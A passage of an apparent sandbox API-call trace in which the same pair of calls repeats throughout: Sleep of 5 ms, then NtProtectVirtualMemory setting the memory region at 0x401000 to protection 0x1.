0x0 [0271.733] Sleep (dwMilliseconds=0x5) [0271.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.782] Sleep (dwMilliseconds=0x5) [0271.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.827] Sleep (dwMilliseconds=0x5) [0271.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.875] Sleep (dwMilliseconds=0x5) [0271.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.958] Sleep (dwMilliseconds=0x5) [0271.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.997] Sleep (dwMilliseconds=0x5) [0272.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.158] Sleep (dwMilliseconds=0x5) [0272.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.203] Sleep (dwMilliseconds=0x5) [0272.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.256] Sleep (dwMilliseconds=0x5) [0272.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.307] Sleep (dwMilliseconds=0x5) [0272.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.396] Sleep (dwMilliseconds=0x5) [0272.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.443] Sleep (dwMilliseconds=0x5) [0272.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.483] Sleep (dwMilliseconds=0x5) [0272.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.532] Sleep (dwMilliseconds=0x5) [0272.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.579] Sleep (dwMilliseconds=0x5) [0272.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.630] Sleep (dwMilliseconds=0x5) [0272.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.680] Sleep (dwMilliseconds=0x5) [0272.722] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.723] Sleep (dwMilliseconds=0x5) [0272.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.773] Sleep (dwMilliseconds=0x5) [0272.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.815] Sleep (dwMilliseconds=0x5) [0272.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.859] Sleep (dwMilliseconds=0x5) [0272.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.905] Sleep (dwMilliseconds=0x5) [0272.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0272.954] Sleep (dwMilliseconds=0x5) [0273.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.005] Sleep (dwMilliseconds=0x5) [0273.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.100] Sleep (dwMilliseconds=0x5) [0273.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.145] Sleep (dwMilliseconds=0x5) [0273.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.188] Sleep (dwMilliseconds=0x5) [0273.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.233] Sleep (dwMilliseconds=0x5) [0273.280] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.281] Sleep (dwMilliseconds=0x5) [0273.343] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.344] Sleep (dwMilliseconds=0x5) [0273.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.415] Sleep (dwMilliseconds=0x5) [0273.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.454] Sleep (dwMilliseconds=0x5) [0273.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.502] Sleep (dwMilliseconds=0x5) [0273.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.550] Sleep (dwMilliseconds=0x5) [0273.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.594] Sleep (dwMilliseconds=0x5) [0273.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.644] Sleep (dwMilliseconds=0x5) [0273.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.686] Sleep (dwMilliseconds=0x5) [0273.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.735] Sleep (dwMilliseconds=0x5) [0273.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.795] Sleep (dwMilliseconds=0x5) [0273.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.847] Sleep (dwMilliseconds=0x5) [0273.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.897] Sleep (dwMilliseconds=0x5) [0273.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.940] Sleep (dwMilliseconds=0x5) [0273.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0273.983] Sleep (dwMilliseconds=0x5) [0274.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.033] Sleep (dwMilliseconds=0x5) [0274.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.081] Sleep (dwMilliseconds=0x5) [0274.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.123] Sleep (dwMilliseconds=0x5) [0274.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.172] Sleep (dwMilliseconds=0x5) [0274.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.218] Sleep (dwMilliseconds=0x5) [0274.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.267] Sleep (dwMilliseconds=0x5) [0274.315] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.315] Sleep (dwMilliseconds=0x5) [0274.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.393] Sleep (dwMilliseconds=0x5) [0274.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.464] Sleep (dwMilliseconds=0x5) [0274.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.518] Sleep (dwMilliseconds=0x5) [0274.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.566] Sleep (dwMilliseconds=0x5) [0274.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.614] Sleep (dwMilliseconds=0x5) [0274.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.659] Sleep (dwMilliseconds=0x5) [0274.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.702] Sleep (dwMilliseconds=0x5) [0274.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.749] Sleep (dwMilliseconds=0x5) [0274.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.799] Sleep (dwMilliseconds=0x5) [0274.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.843] Sleep (dwMilliseconds=0x5) [0274.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.890] Sleep (dwMilliseconds=0x5) [0274.940] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.940] Sleep (dwMilliseconds=0x5) [0274.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0274.984] Sleep (dwMilliseconds=0x5) [0275.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.048] Sleep (dwMilliseconds=0x5) [0275.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.093] Sleep (dwMilliseconds=0x5) [0275.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.142] Sleep (dwMilliseconds=0x5) [0275.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.191] Sleep (dwMilliseconds=0x5) [0275.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.234] Sleep (dwMilliseconds=0x5) [0275.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.282] Sleep (dwMilliseconds=0x5) [0275.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.332] Sleep (dwMilliseconds=0x5) [0275.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.379] Sleep (dwMilliseconds=0x5) [0275.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.456] Sleep (dwMilliseconds=0x5) [0275.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.504] Sleep (dwMilliseconds=0x5) [0275.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.551] Sleep (dwMilliseconds=0x5) [0275.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.597] Sleep (dwMilliseconds=0x5) [0275.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 